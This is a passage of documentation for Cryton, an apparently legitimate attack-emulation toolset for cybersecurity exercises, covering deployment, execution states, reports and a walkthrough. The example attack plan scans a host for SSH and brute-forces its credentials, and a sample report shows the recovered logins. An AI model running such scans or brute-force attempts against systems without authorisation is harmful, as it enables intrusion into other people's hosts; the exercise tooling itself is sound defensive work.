<li>Poetry</li> </ul> <p>Recommendations</p> <ul> <li>Override the settings</li> </ul> <p>Clone the repository: <pre><code>git clone https://gitlab.ics.muni.cz/cryton/cryton-worker.git\n</code></pre></p> <p>Start the prerequisites.</p> <p>Then go to the correct directory and install the project: <pre><code>cd cryton-worker\npoetry install\n</code></pre></p> <p>To spawn a shell use: <pre><code>poetry shell\n</code></pre></p>"},{"location":"development/worker/#usage","title":"Usage","text":"<pre><code>cryton-worker start\n</code></pre> <p>Link to the usage.</p>"},{"location":"development/worker/#testing","title":"Testing","text":""},{"location":"development/worker/#pytest","title":"Pytest","text":"<pre><code>pytest --cov=cryton_worker tests/unit_tests --cov-config=.coveragerc-unit --cov-report html\n</code></pre> Run specific test <pre><code>my_test_file.py::MyTestClass::my_test\n</code></pre>"},{"location":"development/worker/#tox","title":"tox","text":"<p>Use in combination with pyenv.</p> <pre><code>tox -- tests/unit_tests/ --cov=cryton_worker --cov-config=.coveragerc-unit\n</code></pre>"},{"location":"development/worker/#bending-the-rabbitmq-api","title":"Bending the RabbitMQ API","text":"<p>It is possible to use Cryton Worker as a standalone application and control it using your requests. It is also possible to create your Worker and use Core to control it.</p>"},{"location":"execution-phase/execution/","title":"Execution statistics","text":"<p>There are special kinds of objects called Executions for every unit in the attack scenario:</p> <ul> <li>Plan execution</li> <li>Stage execution</li> <li>Step execution</li> </ul> <p>These are not objects that need to be created by you - instead, they are created when their respective unit is executed. This way the history and results of each execution can be stored.</p> <p>Every Execution object stores a start and finish time, so it is easy to count the running times of each unit. With Steps the Execution is also a place where the output and results from attack modules are stored.</p>"},{"location":"execution-phase/execution/#plan-execution","title":"Plan execution","text":"<p>For every execution of the Plan (on a given Worker) a new Plan execution is created.</p> <p>The importance of this object is in keeping the history of executions of a given run. This object also connects all other sub-executions (Stage and Step) with the Run.</p>"},{"location":"execution-phase/execution/#parameters","title":"Parameters","text":"<p>The following table contains a list of output parameters.</p> Name Description Type Example state Current state of the execution. string PENDING start_time When the execution started. datetime 2022-07-21T20:37:28.343619Z pause_time Time of the last pause. datetime 2022-07-21T20:37:28.343619Z finish_time When the execution finished. datetime 2022-07-21T20:37:28.343619Z schedule_time When is the execution supposed to start. datetime 2022-07-21T20:37:28.343619Z aps_job_id ID of the job in scheduler. string abcd-1d2c-abcd-1d2c run Run of which it is a part of. int 1 worker Which Worker is used for the execution. int 1 evidence_directory In what directory is the evidence saved. string /path/to/evidence/directory"},{"location":"execution-phase/execution/#states","title":"States","text":"<p>Here is a map of allowed states, transitions, and their description.</p> <p></p> <p>PENDING - Every execution starts its lifecycle in this state - it is inactive.</p> <p>SCHEDULED - Execution with this state will be started at the defined time.</p> <p>RUNNING - Execution is in progress and its sub-executions are being executed.</p> <p>PAUSING - If the user decides to pause the execution, it will change its state to PAUSING and wait until the conditions are met.</p> <p>PAUSED - Once all the sub-executions are paused or in a final state, the execution is marked as PAUSED.</p> <p>TERMINATING - If the user decides to kill the execution, it will change its state to TERMINATING and wait until the conditions are met.</p> <p>TERMINATED - Once all the sub-executions are stopped, the execution is marked as TERMINATED.</p> <p>FINISHED - In this state the execution, and its sub-executions have reached final states.</p>"},{"location":"execution-phase/execution/#stage-execution","title":"Stage execution","text":"<p>Stage execution contains execution data for its Stage counterpart.</p>"},{"location":"execution-phase/execution/#parameters_1","title":"Parameters","text":"<p>The following table contains a list of output parameters.</p> Name Description Type Example state Current state of the execution. string PENDING start_time When the execution started. datetime 2022-07-21T20:37:28.343619Z pause_time Time of the last pause. datetime 2022-07-21T20:37:28.343619Z finish_time When the execution finished. datetime 2022-07-21T20:37:28.343619Z schedule_time When is the execution supposed to start. datetime 2022-07-21T20:37:28.343619Z aps_job_id ID of the job in scheduler. string abcd-1d2c-abcd-1d2c trigger_id ID of the trigger on Worker. string abcd-1d2c-abcd-1d2c plan_execution Plan execution of which it is a part of. int 1"},{"location":"execution-phase/execution/#states_1","title":"States","text":"<p>Here is a map of allowed states, transitions, and their description.</p> <p></p> <p>PENDING - Every execution starts its lifecycle in this state - it is inactive.</p> <p>SCHEDULED - Execution with this state will be started at the defined time.</p> <p>STARTING - Action that requires Worker confirmation is occurring - starting listener.</p> <p>ERROR - An error occurred during execution start up - unable to start listener.</p> <p>WAITING - Execution in this state is waiting for its dependencies (other executions) to finish.</p> <p>AWAITING - Execution is awaiting a trigger activation.</p> <p>RUNNING - Execution is in progress and its sub-executions are being executed.</p> <p>PAUSING - If the user decides to pause the execution, it will change its state to PAUSING and wait until the conditions are met.</p> <p>PAUSED - Once all the sub-executions are paused or in a final state, the execution is marked as PAUSED.</p> <p>TERMINATING - If the user decides to kill the execution, it will change its state to TERMINATING and wait until the conditions are met.</p> <p>TERMINATED - Once all the sub-executions are stopped, the execution is marked as TERMINATED.</p> <p>FINISHED - In this state the execution, and its sub-executions have reached final states.</p>"},{"location":"execution-phase/execution/#step-execution","title":"Step execution","text":"<p>Step execution contains execution data for its Step counterpart.</p>"},{"location":"execution-phase/execution/#parameters_2","title":"Parameters","text":"<p>The following table contains a list of output parameters.</p> Name Description Type Example state Current state of the execution. string PENDING start_time When the execution started. datetime 2022-07-21T20:37:28.343619Z pause_time Time of the last pause. datetime 2022-07-21T20:37:28.343619Z finish_time When the execution finished. datetime 2022-07-21T20:37:28.343619Z result Result of the module execution. string OK output Received output from the module execution. string created session with id 1. serialized_output Serializable output from the module execution. dictionary {\"session_id\": 1} valid Whether the parameters passed to the module are valid or not. boolean true stage_execution Stage execution of which it is a part of. int 1"},{"location":"execution-phase/execution/#states_2","title":"States","text":"<p>Here is a map of allowed states, transitions, and their description.</p> <p></p> <p>PENDING - Every execution starts its lifecycle in this state - it is inactive.</p> <p>STARTING - Action that requires Worker confirmation is occurring - starting the execution.</p> <p>RUNNING - Module execution is in progress.</p> <p>PAUSED - Execution is marked as PAUSED if its Stage execution is pausing and only if its about to be executed next.</p> <p>TERMINATING - If the user decides to kill the execution, it will change its state to TERMINATING and wait until the conditions are met.</p> <p>TERMINATED - Once the module execution is stopped, the execution is marked as TERMINATED.</p> <p>FINISHED - In this state the execution has successfully FINISHED.</p> <p>ERROR - An unexpected error occurred during the execution.</p> <p>IGNORED - The conditions to start the execution weren't met.</p>"},{"location":"execution-phase/reporting/","title":"Reporting","text":"<p>After the Run has successfully ended (or not) you can generate a report with every Step's output and result. When you have multiple Plan executions in a single Run (when utilizing multiple Workers), you can compare each execution and use this insight to e.g. score each team in a cybersecurity exercise.</p> <p>The easiest way to generate a report is to use CLI: <pre><code>cryton-cli runs report <ID>\n</code></pre></p> <p>Optionally, you can also generate a report for Plan/Stage/Step execution.</p> <p>You can see an example report here: <pre><code>id: 7\nplan_id: 6\nplan_name: Basic example\nstate: FINISHED\nschedule_time: null\nstart_time: '2022-07-21T20:37:27.650142Z'\npause_time: null\nfinish_time: '2022-07-21T20:37:28.527673Z'\nplan_executions:\n- id: 7\nplan_name: Basic example\nstate: FINISHED\nschedule_time: null\nstart_time: '2022-07-21T20:37:27.661100Z'\nfinish_time: '2022-07-21T20:37:28.517554Z'\npause_time: null\nworker_id: 1\nworker_name: e2e-1\nevidence_dir: /tmp/run_7/worker_e2e-1\nstage_executions:\n- id: 7\nstage_name: get-localhost-credentials\nstate: FINISHED\nstart_time: '2022-07-21T20:37:27.862354Z'\npause_time: null\nfinish_time: '2022-07-21T20:37:28.504804Z'\nschedule_time: '2022-07-21T20:37:27.762581Z'\nstep_executions:\n- id: 11\nstep_name: check-ssh\nstate: FINISHED\nstart_time: '2022-07-21T20:37:27.898861Z'\nfinish_time: '2022-07-21T20:37:28.276521Z'\noutput: ''\nserialized_output:\nstats:\nargs: /usr/bin/nmap -oX - -sV -p22 192.168.61.13\nstart: '1658386108'\nscanner: nmap\nversion: '7.80'\nstartstr: Thu Jul 21 06:48:28 2022\nxmloutputversion: '1.04'\nruntime:\nexit: success\ntime: '1658386109'\nelapsed: '0.31'\nsummary: Nmap done at Thu Jul 21 06:48:29 2022; 1 IP address (1 host up)\nscanned in 0.31 seconds\ntimestr: Thu Jul 21 06:48:29 2022\n192.168.61.13:\nports:\n- cpe:\n- cpe: cpe:/a:openbsd:openssh:8.4p1\n- cpe: cpe:/o:linux:linux_kernel\nstate: open\nportid: '22'\nreason: syn-ack\nscripts: []\nservice:\nconf: '10'\nname: ssh\nmethod: probed\nostype: Linux\nproduct: OpenSSH\nversion: 8.4p1 Debian 5\nextrainfo: protocol 2.0\nprotocol: tcp\nreason_ttl: '64'\nstate:\nstate: up\nreason: arp-response\nreason_ttl: '0'\nosmatch: {}\nhostname:\n- name: 192.168.61.13\ntype: PTR\nmacaddress:\naddr: 08:00:27:D4:BF:9E\nvendor: Oracle VirtualBox virtual NIC\naddrtype: mac\nevidence_file: 'No evidence '\nresult: OK\nvalid: false\n- id: 12\nstep_name: bruteforce\nstate: FINISHED\nstart_time: '2022-07-21T20:37:28.343619Z'\nfinish_time: '2022-07-21T20:37:28.479002Z'\noutput: ''\nserialized_output:\npassword: victim\nusername: victim\nall_credentials:\n- password: victim\nusername: victim\nevidence_file: 'No evidence '\nresult: OK\nvalid: false\n</code></pre></p>"},{"location":"execution-phase/run/","title":"What is Run","text":"<p>When you finally have a Plan instance stored in the database, you can create a new Run. For every Worker, a new Plan execution is created. The reason behind this is a storage of execution history, so it is possible to compare results in Run and usage of different variables for Plan executions. As mentioned before, you can leave Step argument as an empty Jinja variable. Now, before execution, you can use different values for each Plan execution.</p>"},{"location":"execution-phase/run/#parameters","title":"Parameters","text":"<p>The following table contains a list of output parameters.</p> Name Description Type Example state Current state of the execution. string PENDING start_time When the execution started. datetime 2022-07-21T20:37:28.343619Z pause_time Time of the last pause. datetime 2022-07-21T20:37:28.343619Z finish_time When the execution finished. datetime 2022-07-21T20:37:28.343619Z schedule_time When is the execution supposed to start. datetime 2022-07-21T20:37:28.343619Z aps_job_id ID of the job in scheduler. string abcd-1d2c-abcd-1d2c plan Which Plan is used for the execution. int 1"},{"location":"execution-phase/run/#states","title":"States","text":"<p>Here is a map of allowed states, transitions, and their description.</p> <p></p> <p>PENDING - Every execution starts its lifecycle in this state - it is inactive.</p> <p>SCHEDULED - Execution with this state will be started at the defined time.</p> <p>RUNNING - Execution is in progress and its sub-executions are being executed.</p> <p>PAUSING - If the user decides to pause the execution, it will change its state to PAUSING and wait until the conditions are met.</p> <p>PAUSED - Once all the sub-executions are paused or in a final state, the execution is marked as PAUSED.</p> <p>TERMINATING - If the user decides to kill the execution, it will change its state to TERMINATING and wait until the conditions are met.</p> <p>TERMINATED - Once all the sub-executions are stopped, the execution is marked as TERMINATED.</p> <p>FINISHED - In this state the execution, and its sub-executions have reached final states.</p>"},{"location":"execution-phase/run/#actions","title":"Actions","text":"<p>To give you the ability to control your attack plan, here is a list of the supported actions.</p>"},{"location":"execution-phase/run/#execute","title":"Execute","text":"<p>The basic action you can do is Execute the Run. This will start it instantly. What does that mean?</p> <ul> <li>Delta and DateTime triggered Stages are scheduled</li> <li>HTTP/MSF triggers are started on Workers</li> <li>Run state is set to RUNNING</li> </ul>"},{"location":"execution-phase/run/#schedule-reschedule-unschedule-postpone","title":"Schedule, Reschedule, Unschedule, Postpone","text":"<p>Schedule action does just that - it schedules an Execute action at a given time. If you want to change the time of your execution, you can still reschedule it or simply unschedule it and leave it in a pending state. You can also postpone your scheduled execution.</p>"},{"location":"execution-phase/run/#pause-unpause","title":"Pause, Unpause","text":"<p>Anytime during Run execution, you can pause it. To continue the Run, simply issue the unpause command. </p>"},{"location":"execution-phase/run/#kill","title":"Kill","text":"<p>Terminate (forcefully) Run's execution and its sub-executions.</p>"},{"location":"execution-phase/run/#validate-modules","title":"Validate modules","text":"<p>Check if all the modules used in the Run are present on desired Workers and if their arguments set in the Plan are correct.</p>"},{"location":"getting-started/ansible/","title":"Ansible","text":""},{"location":"getting-started/ansible/#description","title":"Description","text":"<p>This project is used for deploying the Cryton toolset using Ansible. </p> <p>Cryton toolset is tested and targeted primarily on Debian and Kali Linux. Please keep in mind that only the latest version is supported and issues regarding different OS or distributions may not be resolved.</p> <ul> <li>Make sure you run Ansible using Python3 (<code>ansible_python_interpreter: /usr/bin/python3</code>). </li> <li>Supposedly there is no need for <code>gather_facts</code>. </li> <li>Run roles using sudo (become). </li> <li>For the best experience specify <code>cryton_COMPONENT_version</code> where COMPONENT is depending on the role (core, cli, worker, modules) and select the latest version (the master branch is not stable). </li> <li>To update the default variables stored in .env files use <code>cryton_COMPONENT_environment</code> where COMPONENT is depending on the role (core, cli, worker). </li> <li>Values for each role can be found in <code>cryton-deploy/roles/ROLE/defaults/main.yml</code>. </li> <li>Once you update cryton_COMPONENT_environment, make sure you've updated all the variables.</li> </ul>"},{"location":"getting-started/ansible/#roles","title":"Roles","text":""},{"location":"getting-started/ansible/#deploy-core","title":"deploy-core","text":"<p>Install prerequisites, dependencies (RabbitMQ, Postgres, and PgBouncer), and Core using Docker Compose. Core's REST API is by default served on port 8000.</p> <p>Override environment variables as specified in the settings. In the Ansible playbook use the following: <pre><code> - role: deploy-core\ncryton_core_environment:\nVARIABLE_TO_OVERRIDE: new_value\n... </code></pre></p> <p>For all available role variables, check <code>cryton-deploy/roles/deploy-core/defaults/main.yml</code>.</p> <p>To create, update, and load the Docker configuration saved in /etc/docker/daemon.json, set <code>update_docker_daemon_configuration: yes</code>, and use <code>docker_daemon_configuration</code> dictionary to create the configuration. Example and default: <pre><code>docker_daemon_configuration:\n mtu: 1442\n</code></pre></p>"},{"location":"getting-started/ansible/#deploy-worker-with-modules","title":"deploy-worker (with modules)","text":"<p>Install prerequisites and Worker with modules using pipx. Start the Worker afterward in the background (you have to check for errors manually in the <code>{{ cryton_worker_output_file }}</code>).</p> <p>To start msfrpcd in the background use <code>start_msfrpcd: yes</code>. Set <code>cryton_cli_runas_user</code> to the correct user for whom will the Worker be installed.</p> <p>Optionally, Worker can be installed in a mode fitting for development purposes. To enable this mode, set <code>development: True</code> variable for Ansible. This will install and run the Worker using poetry.</p> <p>Override environment variables as specified in the settings. In the Ansible playbook use the following: <pre><code> - role: deploy-worker\ncryton_worker_environment:\nVARIABLE_TO_OVERRIDE: new_value\n... </code></pre></p> <p>For all available role variables, check <code>cryton-deploy/roles/deploy-worker/defaults/main.yml</code>.</p> <p>For running the Ansible playbook, community.general module is needed. Install it by <code>ansible-galaxy collection install community.general</code>.</p>"},{"location":"getting-started/ansible/#deploy-cli","title":"deploy-cli","text":"<p>Install prerequisites, dependencies, and CLI in <code>~/.local/bin/cryton-cli</code> using pipx, register it to PATH, and export .env vars into <code>~/.local/cryton-cli/.env</code>.</p> <p>Set <code>cryton_cli_runas_user</code> to the correct user for whom will the Worker be installed.</p> <p>Override environment variables as specified in the settings. In the Ansible playbook use the following: <pre><code> - role: deploy-cli\ncryton_cli_environment:\nVARIABLE_TO_OVERRIDE: new_value\n... </code></pre></p> <p>For all available role variables, check <code>cryton-deploy/roles/deploy-cli/defaults/main.yml</code>.</p>"},{"location":"getting-started/ansible/#register-worker","title":"register-worker","text":"<p>Register Worker in Core using CLI.</p> <p>Specify <code>cryton_worker_name</code>, <code>cryton_worker_description</code>, and <code>cryton_cli_runas_user</code> to the correct user with access to the CLI.</p> <p>Override environment variables as specified in the settings. In the Ansible playbook use the following: <pre><code> - role: register-worker\ncryton_cli_environment:\nVARIABLE_TO_OVERRIDE: new_value\n... </code></pre></p> <p>For all available role variables, check <code>cryton-deploy/roles/register-worker/defaults/main.yml</code>.</p>"},{"location":"getting-started/ansible/#deploy-frontend","title":"deploy-frontend","text":"<p>Install prerequisites and frontend for Cryton Core API using Docker Compose. The frontend is by default served on port 8080.</p> <p>!This role requires the host to have at least 2048 MB RAM and 2 CPU cores (tested with AMD Ryzen 5 5600x) otherwise the Frontend installation might fail.!</p> <p>Override environment variables as specified in the settings. In the Ansible playbook use the following: <pre><code> - role: deploy-frontend\ncryton_frontend_environment:\nVARIABLE_TO_OVERRIDE: new_value\n... </code></pre></p> <p>For all available role variables, check <code>cryton-deploy/roles/deploy-frontend/defaults/main.yml</code>.</p> <p>To create, update, and load the Docker configuration saved in /etc/docker/daemon.json, set <code>update_docker_daemon_configuration: yes</code>, and use <code>docker_daemon_configuration</code> dictionary to create the configuration. Example and default: <pre><code>docker_daemon_configuration:\n mtu: 1442\n</code></pre></p>"},{"location":"getting-started/ansible/#examples","title":"Examples","text":""},{"location":"getting-started/ansible/#deploy-core_1","title":"Deploy Core","text":"<pre><code>- name: Deploy Core\nhosts: c2-server\nbecome: yes\nroles:\n- role: deploy-core\n</code></pre>"},{"location":"getting-started/ansible/#deploy-worker-with-modules_1","title":"Deploy Worker (with modules)","text":"<pre><code>- name: Deploy Worker with modules\nhosts: attacker\nbecome: yes\nroles:\n- role: deploy-worker\ncryton_worker_runas_user: my-user\ncryton_worker_environment:\nCRYTON_WORKER_MODULES_DIR: \"{{ cryton_modules_directory }}/modules\"\nCRYTON_WORKER_RABBIT_HOST: 127.0.0.1\nCRYTON_WORKER_NAME: unique-name\n</code></pre>"},{"location":"getting-started/ansible/#deploy-cli_1","title":"Deploy CLI","text":"<pre><code>- name: Deploy CLI\nhosts: client\nbecome: yes\nroles:\n- role: deploy-cli\ncryton_cli_runas_user: my-user\ncryton_cli_environment:\nCRYTON_CLI_API_HOST: 127.0.0.1\n</code></pre>"},{"location":"getting-started/ansible/#register-worker_1","title":"Register Worker","text":"<pre><code>- name: Register Worker\nhosts: client\nroles:\n- role: register-worker\ncryton_cli_runas_user: my-user\ncryton_worker_name: unique-name\ncryton_worker_description: custom Worker description\ncryton_cli_environment:\nCRYTON_CLI_API_HOST: 127.0.0.1\n</code></pre>"},{"location":"getting-started/ansible/#deploy-cli-and-register-new-worker","title":"Deploy CLI and register new Worker","text":"<pre><code>- name: Deploy CLI and register Worker\nhosts: client\nbecome: yes\nvars:\ncryton_cli_runas_user: my-user\ncryton_cli_environment:\nCRYTON_CLI_API_HOST: 127.0.0.1\nroles:\n- role: deploy-cli\n- role: register-worker\ncryton_worker_name: unique-name\ncryton_worker_description: custom Worker description\n</code></pre>"},{"location":"getting-started/ansible/#deploy-frontend_1","title":"Deploy frontend","text":"<pre><code>- name: Deploy frontend\nhosts: client\nbecome: yes\nroles:\n- role: deploy-frontend\ncryton_frontend_environment:\ncrytonRESTApiHost: 127.0.0.1\n</code></pre>"},{"location":"getting-started/execution-example/","title":"Execution example","text":"<p>Now, we will walk through an example execution. We will follow the workflow specified in the previous guide.</p> <p>Prerequisites</p> <p>It is assumed that you've followed the quick-start guide. If that's not the case, make sure the following requirements are met:</p> <ul> <li>Core is up and running</li> <li>Core's prerequisites are up and running</li> <li>CLI is installed</li> <li>Worker is installed, running, and correctly set up to use the modules</li> <li>Worker's prerequisites are up and running</li> <li>Modules' system requirements are satisfied</li> <li>If CLI and Core are not on the same machine, make sure to update CLI's settings</li> </ul>"},{"location":"getting-started/execution-example/#create-a-plan-template","title":"Create a plan template","text":"<p>To execute our attack plan, we must create its template first \u2013 a description of the actions required to run during attack execution based on tools used during the attack.</p> <p>We will be using a basic example, which can be found here as well as other examples.</p> <p>Download it manually or using:</p> curlwget <pre><code>curl -O https://gitlab.ics.muni.cz/cryton/cryton-core/-/raw/stable/2023.1/examples/basic-example/template.yml\n</code></pre> <pre><code>wget https://gitlab.ics.muni.cz/cryton/cryton-core/-/raw/stable/2023.1/examples/basic-example/template.yml\n</code></pre> <p>It describes a 2 step attack plan. First, it scans the target and checks if port 22 is open. If the port is open, it tries to brute force the credentials.</p> <pre><code>graph LR\n A[Start] --> B[Scan target];\n B --> C{Is port 22 open?};\n C -->|No| E[Finish];\n C -->|Yes| D[Bruteforce credentials];\n D --> E;</code></pre> <p>If we are satisfied with our template, we can upload it using CLI: <pre><code>cryton-cli plan-templates create path/to/template.yml\n</code></pre></p> Example <pre><code>cryton-cli plan-templates create template.yml\n</code></pre> <p>Expected output: <pre><code>Template successfully created! ({'id': 1})\n</code></pre></p> Validate the template first <p>Before we upload the template, we should validate it. However, for our template to be validated correctly, we have to provide an inventory file, which is described here. Once we have it, we can simply run: <pre><code>cryton-cli plans validate template.yml -i inventory.yml\n</code></pre></p> Example <pre><code>cryton-cli plans validate template.yml -i inventory.yml\n</code></pre> <p>Expected output: <pre><code>Plan successfully validated! (<response>)\n</code></pre></p> <p>Don't forget to upload the template afterward.</p>"},{"location":"getting-started/execution-example/#register-the-worker","title":"Register the Worker","text":"<p>To be able to use our Worker, we have to register it. Keep in mind that WORKER_NAME must match the Worker\u2019s <code>CRYTON_WORKER_NAME</code> setting: <pre><code>cryton-cli workers create <WORKER_NAME> -d <WORKER_DESCRIPTION>\n</code></pre></p> Example <pre><code>cryton-cli workers create local_worker -d \"my worker on localhost\"\n</code></pre> <p>Expected output: <pre><code>Worker successfully created! ({'id': 1})\n</code></pre></p> <p>To check if the Worker is running, use the health check: <pre><code>cryton-cli workers health-check <WORKER_ID>\n</code></pre></p> Example <pre><code>cryton-cli workers health-check 1\n</code></pre> <p>Expected output: <pre><code>The Worker successfully checked! (<response>)\n</code></pre></p>"},{"location":"getting-started/execution-example/#create-a-plan-instance","title":"Create a Plan instance","text":"<p>Now we need to create a Plan instance we will use for the execution. Create it using a combination of the previously uploaded template and an inventory file.</p> <p>Download the inventory file manually or using:</p> curlwget <pre><code>curl -O https://gitlab.ics.muni.cz/cryton/cryton-core/-/raw/stable/2023.1/examples/basic-example/inventory.yml\n</code></pre> <pre><code>wget https://gitlab.ics.muni.cz/cryton/cryton-core/-/raw/stable/2023.1/examples/basic-example/inventory.yml\n</code></pre> <p>It determines the missing variables in the template. More precisely, it states the target and the credentials used for the brute force attack.</p> <p>To create a new Plan instance use: <pre><code>cryton-cli plans create <TEMPLATE_ID> -i path/to/my/inventory.yml\n</code></pre></p> Example <pre><code>cryton-cli plans create 1 -i inventory.yml\n</code></pre> <p>Expected output: <pre><code>Plan Instance successfully created! ({'id': 1})\n</code></pre></p>"},{"location":"getting-started/execution-example/#create-a-run","title":"Create a Run","text":"<p>The last step we have to make is to create a new Run from the previously created Plan instance and Worker(s). To do so, use: <pre><code>cryton-cli runs create <PLAN_INSTANCE_ID> <WORKER_ID1> <WORKER_ID2> <WORKER_ID3> ...\n</code></pre></p> Example <pre><code>cryton-cli runs create 1 1 2 3\n</code></pre> <p>Expected output: <pre><code>Run successfully created! ({'id': 1})\n</code></pre></p>"},{"location":"getting-started/execution-example/#execute-the-run","title":"Execute the Run","text":"<p>It works.. but at what cost?</p> <p>Please, make sure that you are allowed to run the scan and brute force (there shouldn't be any problems doing so on localhost). Otherwise, there may be consequences.</p> <p>Now that everything is prepared, we can execute our Run immediately or schedule it for later.</p> immediatelyschedule it for later <p>To execute the Run immediately use:</p> <pre><code>cryton-cli runs execute <RUN_ID>\n</code></pre> Example <pre><code>cryton-cli runs execute 1\n</code></pre> <p>Expected output: <pre><code>Run successfully executed! (Run 1 was executed.)\n</code></pre></p> <p>Run executions can be scheduled to a specific date and time. By default, the system timezone will be used. To use the UTC timezone, use the <code>--utc-timezone</code> flag. <pre><code>cryton-cli runs schedule <RUN_ID> <DATE> <TIME>\n</code></pre></p> Example <pre><code>cryton-cli runs schedule 1 2020-06-08 10:00:00\n</code></pre> <p>Expected output: <pre><code>Run successfully scheduled! (Run 1 is scheduled for 2020-06-08 10:00:00.)\n</code></pre></p>"},{"location":"getting-started/execution-example/#show-run-information","title":"Show Run information","text":"<p>To see if the executed Run has finished, you can check its state (and other useful information): <pre><code>cryton-cli runs show <RUN_ID>\n</code></pre></p> Example <pre><code>cryton-cli runs show 1\n</code></pre> <p>Expected output: <pre><code>id: 1, schedule_time: None, start_time: 2021-05-24T00:08:45.200025, pause_time: None, finish_time: 2021-05-24T00:09:18.397199, state: RUNNING\n</code></pre></p>"},{"location":"getting-started/execution-example/#get-a-report","title":"Get a report","text":"<p>It is crucial to know the current state of your Run and its results. That is why a report can be generated anytime during the execution: <pre><code>cryton-cli runs report <RUN_ID>\n</code></pre></p> Example <pre><code>cryton-cli runs report 1\n</code></pre> <p>Expected output: <pre><code>Successfully created Run's report! (file saved at: /tmp/report_run_1_2020-06-08-10-15-00-257994_xdQeV)\n</code></pre></p> Read the report directly <p>Reports can be viewed directly in cryton-cli (to quit, press Q): <pre><code>cryton-cli runs report <RUN_ID> --less\n</code></pre></p> Example <pre><code>cryton-cli runs report 1 --less\n</code></pre>"},{"location":"getting-started/playground/","title":"Playground","text":""},{"location":"getting-started/playground/#description","title":"Description","text":"<p>Cryton E2E is a project used for End-To-End testing of the Cryton toolset.</p> <p>It offers a collection of tests and a Vagrant environment for an easy setup/usage.</p> <p>Cryton toolset is tested and targeted primarily on Debian and Kali Linux, however it should be possible to use it everywhere if the requirements are met. Please keep in mind that only the latest version is supported and issues regarding different OS or distributions may not be resolved.</p> <p>Link to the Cryton toolset documentation.</p>"},{"location":"getting-started/playground/#installation-and-setup","title":"Installation and setup","text":"<p>It is recommended to use the Vagrant environment due to its easier setup and usage.</p>"},{"location":"getting-started/playground/#using-vagrant-recommended","title":"Using Vagrant (RECOMMENDED)","text":"<p>This section describes how to quickly build the infrastructure and run the tests.</p> <p>Requirements: - Vagrant - Virtualbox - Ansible</p> <p>Check if the requirements are met using: <pre><code>vagrant --version\nvboxmanage --version\nansible --version\n</code></pre></p> <p>Go to the correct directory, if you haven't already: <pre><code>cd cryton-e2e\n</code></pre></p> <p>Download the Cryton Deploy project. <pre><code>git clone https://gitlab.ics.muni.cz/cryton/cryton-deploy.git\n</code></pre></p> <p>Update the <code>.env</code> file accordingly: <pre><code>CRYTON_E2E_CRYTON_CLI_EXECUTABLE=/usr/bin/cryton-cli\nCRYTON_E2E_DIRECTORY=/opt/cryton-e2e-local\nCRYTON_CLI_API_HOST=192.168.61.11\n</code></pre></p> <p>This can be done quickly using the following: <pre><code>cat > .env<< EOF\nCRYTON_E2E_CRYTON_CLI_EXECUTABLE=/usr/bin/cryton-cli\nCRYTON_E2E_DIRECTORY=/opt/cryton-e2e-local\nCRYTON_E2E_TESTS=all\nCRYTON_E2E_VERBOSE=False\n\nCRYTON_CLI_TIME_ZONE=AUTO\nCRYTON_CLI_API_HOST=192.168.61.11\nCRYTON_CLI_API_PORT=8000\nCRYTON_CLI_API_SSL=False\nCRYTON_CLI_API_ROOT=api/\nEOF\n</code></pre></p> <p>Optionally change the other variables to your needs. More information can be found here.</p> <p>Also, don't forget to update the tools' versions/branches in the <code>config.yml</code> if necessary.</p> <p>And finally set up the testing environment and run the tests: <pre><code>vagrant up\n</code></pre></p> <p>If there is a connection error due to an ssh problem, just shut down the machine with the problem (<code>vagrant halt <machine></code>) and run <code>vagrant up</code> again.</p>"},{"location":"getting-started/playground/#manual-installation-not-recommended","title":"Manual installation (NOT RECOMMENDED)","text":"<p>This segment only explains how to install the Cryton E2E package. To be able to run the tests, you need to install the Cryton CLI, Cryton Core and Cryton Worker packages.</p> <p>It is not necessary to install this tool manually, you can use the tester machine. This can be done using <code>vagrant up tester --provision-with playbook,install-dependencies,setup-e2e-local</code>.</p> <p>Requirements: - Vagrant - Virtualbox - Ansible - Python >=3.8 - pipenv</p> <p>Check if the requirements are met using: <pre><code>vagrant --version\nvboxmanage --version\nansible --version\npipenv --version\npython3 --version\n</code></pre></p> <p>Go to the correct directory, if you haven't already: <pre><code>cd cryton-e2e\n</code></pre></p> <p>If you want to be able to use the Vagrant environment, clone the Cryton Deploy project. <pre><code>git clone https://gitlab.ics.muni.cz/cryton/cryton-deploy.git\n</code></pre></p> <p>It is recommended to use a virtual environment for the installation, we will be using Pipenv. Also, don't forget to check if you are in the correct directory, even after activating the virtual environment using Pipenv. Now we will install the python requirements and run the setup script. <pre><code>pipenv shell\npip install -r requirements.txt\npython setup.py install\n</code></pre></p> <p>For development, all you need to do is use <code>develop</code> instead of <code>install</code>. <pre><code>python setup.py develop\n</code></pre></p> <p>Everything should be set. Check if the installation was successful using: <pre><code>cryton-e2e\n</code></pre></p> <p>You should see a help page. <pre><code>Usage: cryton-e2e [OPTIONS] COMMAND [ARGS]...\n\n A CLI for Cryton E2E.\n\nOptions:\n ...\n</code></pre></p> <p>If there is an error due to missing environment variables, or you want to update them go to the settings section.</p> <p>For more information about setup go to the usage section or for more detailed information about its settings go to the settings section.</p>"},{"location":"getting-started/playground/#usage","title":"Usage","text":"<p>It is recommended to use the Vagrant environment due to easier setup and usage.</p>"},{"location":"getting-started/playground/#using-vagrant-environment","title":"Using Vagrant environment","text":"<p>To run only the tests use: <pre><code>vagrant provision tester --provision-with run-e2e-tests\n</code></pre></p>"},{"location":"getting-started/playground/#using-manual-installation","title":"Using manual installation","text":"<p>First, update the tool settings.</p> <p>To run the tests use: <pre><code>cryton-e2e run-tests\n</code></pre></p>"},{"location":"getting-started/playground/#requirements","title":"Requirements","text":"<ol> <li>Cryton Core must be running and accessible at the IP address specified in the <code>config.yml</code> file.</li> <li>Cryton CLI must be installed on the same system and must be accessible.</li> <li>Cryton Worker must have the <code>./resources/modules</code> folder loaded (<code>CRYTON_WORKER_MODULES_DIR=/path/to/cryton-e2e/resources/modules</code>).</li> <li>Worker's name must be e2e-1 (<code>CRYTON_WORKER_NAME=e2e-1</code>).</li> <li>Worker must be running as a root.</li> <li>The <code>CRYTON_E2E_CRYTON_CLI_EXECUTABLE</code>, <code>CRYTON_E2E_DIRECTORY</code>, and <code>CRYTON_CLI_*</code> variables must be set correctly.</li> </ol>"},{"location":"getting-started/playground/#additional-requirements-for-basic-test","title":"Additional requirements for basic test","text":"<p>None for now.</p>"},{"location":"getting-started/playground/#additional-requirements-for-advanced-test","title":"Additional requirements for advanced test","text":"<ol> <li>Worker must be able to connect to the <code>msfrpcd</code> in order to successfully use MSFListener.</li> <li>Worker must be installed on a machine with the IP address specified in the <code>config.yml</code> file.</li> 